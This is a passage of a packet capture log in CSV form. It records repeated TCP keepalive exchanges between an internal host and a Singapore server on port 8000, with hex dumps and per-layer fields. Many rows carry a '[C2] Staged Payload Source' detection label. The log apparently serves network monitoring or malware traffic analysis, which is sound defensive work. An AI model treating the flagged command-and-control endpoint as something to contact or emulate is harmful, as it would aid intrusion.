\"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45294, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16144, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:41.850737,695,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d2a4000400602cac0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-*@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11562, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 714, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:42.866362,696,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0ef400080063f0f0a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45295, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16143, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:42.866397,697,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d2b4000400602c9c0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-+@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11563, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 713, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:43.881976,698,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0f0400080063f0e0a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45296, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16142, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:43.881990,699,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d2c4000400602c8c0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-,@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11564, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 712, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:44.897651,700,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0f1400080063f0d0a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45297, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16141, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:44.897672,701,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d2d4000400602c7c0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4--@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11565, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 711, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:45.913296,702,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0f2400080063f0c0a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45298, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16140, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:45.913317,703,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d2e4000400602c6c0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-.@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11566, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 710, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:46.928978,704,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0f3400080063f0b0a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45299, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16139, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:46.929006,705,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d2f4000400602c5c0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-/@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11567, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 709, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:47.944617,706,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0f4400080063f0a0a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45300, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16138, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:47.944651,707,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d304000400602c4c0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-0@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11568, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 708, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:48.960227,708,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0f5400080063f090a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45301, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16137, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:48.960245,709,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d314000400602c3c0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-1@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11569, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 707, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:49.975938,710,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0f6400080063f080a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45302, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16136, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:49.975972,711,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 